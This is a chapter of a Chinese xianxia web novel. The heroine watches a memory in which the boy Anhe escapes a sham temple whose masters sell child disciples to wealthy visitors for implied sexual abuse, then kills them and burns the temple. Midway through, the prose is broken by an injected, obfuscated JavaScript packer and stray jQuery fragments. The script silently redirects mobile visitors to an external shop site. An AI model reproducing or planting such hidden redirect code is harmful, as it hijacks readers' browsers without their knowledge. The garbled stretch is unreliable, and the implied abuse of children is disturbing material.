安禾早慧,在家中时就已经将字认全,自小就担着天才之名,看这些破书并不费力。
他拿起其中一本,吹走上面的灰,翻开,神情终于有了变化。
拾叶站在窗边,看着他一页一页读下去。
月光落在他瘦削的肩上,转眼月余。
藏书阁窗下的灵气,极轻极轻地震荡起来。
安禾入道。
拾叶心中震骇。
外界传说云渊十岁入道,可事实上……是五岁!
在这伪观中,无人指点,凭着那破书,自行摸到了道门的门槛。
这是何等恐怖的天赋?
玉京子和长庚两人虽说有些修为,却也仅仅是入了道的水准,身上更多的是凡人的武功。
也是安禾运气好,但凡他们两人有一个修为再高些,都能察觉到他这边的灵力波动。
安禾清晨总是最早醒,才坐起身四处看了一圈,就察觉出不对。
同屋的铺盖有两个已经收拾好,他走过去,假装提鞋,将手放在了那块空出来的地方。
一丝灵力自手掌散出又收回,安禾低了头,什么也没说。
发早饭时,一边接着窝头,一边数人。
少了六个。
拾叶站在屋角,目光落在那六处空铺上,指尖微微蜷起。
她已隐约猜到这些孩子去了哪里。
入夜,等同屋的师兄都睡熟,安禾翻窗而出。
纵然没有师父指点,安禾自入了道之后,从那破书上学会了好几个术法,足够让他在夜间行走无声。
悄然跟上了那三个从观外来的人,是三个中年男性,穿着都很奢华。
长庚笑的谄媚,点头哈腰的对着那三人,带着他们来到了一个从不会让人进的院落。
安禾停住脚,藏身在一水缸后。
这院子他过去摸过来过,只是个空院子,不过里面的装饰很华丽,其他却也没什么特别的。
他四下看了看,待没人了,才跑近轻身上了树。
院落不知何时被打扫的一尘不染,三间房的灯被全部点上,让屋内场景在黑夜中分外清晰。
长庚正陪着来人,斟茶奉茶,动作一气呵成。那三人却正眼也不给一个,只互相聊着天。
他们声音太低,安禾听不清说什么,只能静静蹲在树上观察着。
不一会,由玉京子带来了六个道童,是不见的那几个道童。
之后,玉京子和长庚都退出院落,关了院门。
哭喊声传出,又被笑声覆盖。
天蒙蒙亮,玉京子和长庚就招呼了两个道童进去。
安禾瞳孔缩的厉害,小手狠狠扣入树干。
他静静地看着,直到那些人离开,一动都没动。
玉京子和长庚数银票,两个道童把染了血的水桶,一桶一桶的倒进后山的沟里。
日复一日,安禾已九岁。
这四年在道观,他从未试图逃跑。
太多与他年岁相近的男孩这样做,看起来是逃出去了,可第二日就会再次出现在观门口。
迎接那孩子的,就是被提前送入那个院子。
安禾知道,他不能轻易尝试。
可每到夜里,他都会醒来。
修炼,记道路,记锁的位置,记玉京子将匕首放在何处,记那几个暗院贵客来时,观门会何时落锁,后山小门又会由谁看守。
他像一只沉默蛰伏的幼兽。
不叫,不闹,不逃。
直到这一日,安禾与几个道童一同关入了陌生屋子。那几个道童眼中一点光都没有,缩在房间最里面,又认命又恐惧。
唯有安禾,独身一人坐在那几人前面,冷冷看着那扇门。
开锁声,开门声。
玉京子在站在门外,目光率先落在安禾身上。
“雀生,出来。”
安禾站起身,跟着到了旁边房间。
房间中放着一个大木桶,已经装好了热水,香料浓郁。
玉京子倚着门,轻笑着上下打量着安禾,“雀生,你倒是老实,这些年都没看你往外跑过。”
安禾沉默低头。
他转身关上了房门,转过身,搓了搓手。
“贵人今晚要看干净的。”他慢慢走上前,伸着脖子,目光落在安禾的身上。“不过送过去前,师父总得先教你,怎么听话。”
他一边走,一边脱身上的道袍,连随身配的匕首都扔到了脚边,眼珠子完全锁在安禾的身上。
刚解开腰带,一直安静的安禾突然动了。
他一步踏出,灵力自足下炸开。
玉京子甚至没看清他如何近身,喉间便是一凉。
“呃……”
手中的匕首整根没入玉京子的脖颈,所有的声音都被血液淹没,传不出一点。
安禾没有立刻拔刀,他看着玉京子那双骤然瞪大的眼睛,手腕用力,匕首又往里送了半寸。
玉京子瞪着双眼,踉跄到底。
安禾顺势拔出匕首,染了一身鲜红,再不看地上还在抽动的待死之人。
他捡起地上钥匙,开门,走到隔壁。
门锁落地,安禾站在门外,全身是血,手里握着匕首,眼神冷静,“你们不走,就死在这。”
没人动,全都傻愣愣的看着安禾。
安禾看了他们一眼,再不开口,转头就走。
几个孩子终于像是被惊醒,跌跌撞撞爬起来,跟着冲出屋子。
安禾没有去山门,他去了后头暗院。
今夜灯火正盛。
四年时间,一个院落变成了四个,各个装饰华丽,来客也越来越多。
推开门,长庚怒喝:“谁让你……”
声音戛然而止,随后是桌椅翻倒声,惊叫声,求饶声。
很快,道观归于安静。
安禾又走向第二处院子,第三处,第四处。
血腥气遍布道观,那些逃出来的道童看着满身是血的少年,眼中满是恐惧。
“妖,妖怪!”
“他是妖怪!”
不知是谁大喊一声,随后抬腿就往外跑,头也不回,其他几个道童这才回过神,跌跌撞撞的往外跑。
安禾听见了,却连眼睫都没动一下。
他沉默着走出道观,而后转身。
双手飞快结印,指尖出现了一个火球。火球飞出,点燃了正对大门的正殿。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17872310|212149||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
/p>
接连数个火球,道观陷入火海。
安禾没有走,就静静地站在被火焰吞噬的大门前。
直到整个道观化作飞灰,他的双肩松弛下来。
少年终于抬起脚,沿着山路往下走。
拾叶心中五味杂陈。
安禾,也就是幼时的云渊,竟是被关在这样人间炼狱一样的地方。可她也没想到,这么小的他竟能如此隐忍,出手也如此干净利落。
她远远看着那少年背影,想到妖界对他屠尽师门的传言,渐渐生出些许怒气。
这愤怒来的突然,让拾叶一怔。
这个情绪,竟是如此清晰,好似她因前世天罚再加上转世而缺失的情绪彻底恢复一样。
沉默片刻,拾叶正要跟上那道离去的少年身影,眼前五色光芒忽然翻卷而起。
火光自四面八方涌来,像潮水一般漫过整座山。下一瞬,先前的画面寸寸碎裂,连同那被烈火吞噬的道观,皆在她眼前化作细碎流光。
没能继续旁观云渊的过去,拾叶心中掠过一抹惋惜。这终究不是寻常的记忆,而是子火照魂下构建的炼魂空间,容不得她来干涉。
又是一阵熟悉的失重感袭来,拾叶再度睁眼,映入眼帘的,竟是一片浓稠如墨的劫云。
天幕低垂,黑云翻涌,云层之中电光奔腾,宛若无数游蛇在其中撕咬。那气息太过熟悉,熟悉到只一眼,拾叶的神魂便不受控制的剧烈震荡。
拾叶低头看着自己的手,半透明的状态,再抬头,劫云下赫然是另一个她。
或者说,是她前世。
前世的她立于那片空地,银发被劫风卷起。墨竹族地大阵明明灭灭,族人们仰头望着天幕,神色紧张。
拾叶眉头轻蹙,不自觉抬手按着太阳穴,觉得识海犹如千万细针穿过,头痛欲裂。
此刻,她的本源十分躁动,甚至牵扯着她的神魂一同震颤。她本就有神魂旧伤,这般冲击下,痛楚毫无保留地传导至此刻的意识中。
纵然此刻她在这子火虚构的记忆世界中,却也感受到了真实的痛楚。
此番景象,透着诡异。
以她对子火炼心的了解,她该是没了记忆亲身经历一次才是,就如在琉炎山时那般,身在其中亲身破局。
可如今怎会是旁观视角?
思索数息,拾叶感受着本源的那种震荡,忽的想到。
难道说,和云渊一起使用子火,而二人之间又存在奇异的本源牵引,多重加持下得来了这样一个奇异的结果吗?
先前她误入云渊旧事,便是因墨竹笛、云渊神魂与她本源三者相牵。如今画面虽转回她自己的前世,可那道牵引并未完全断开,反倒将她从旧劫中隔出半步,使她能以旁观者的身份,看见当年身在劫中时未曾看见的东西。
过了一会,项行已经站在了等待应劫的拾叶面前,她逐渐适应了神魂疼痛,凝眸看去。
只这一眼,便让她目光陡沉。
项行仍是记忆中的模样,贵气温和,折扇轻摇,眉眼间带着令人挑不出错的诚恳。
一切皆是记忆中上演过的旧事,可如今跳出局外,以第三视角俯瞰,她却捕捉到了当年未能察觉的诡异细节。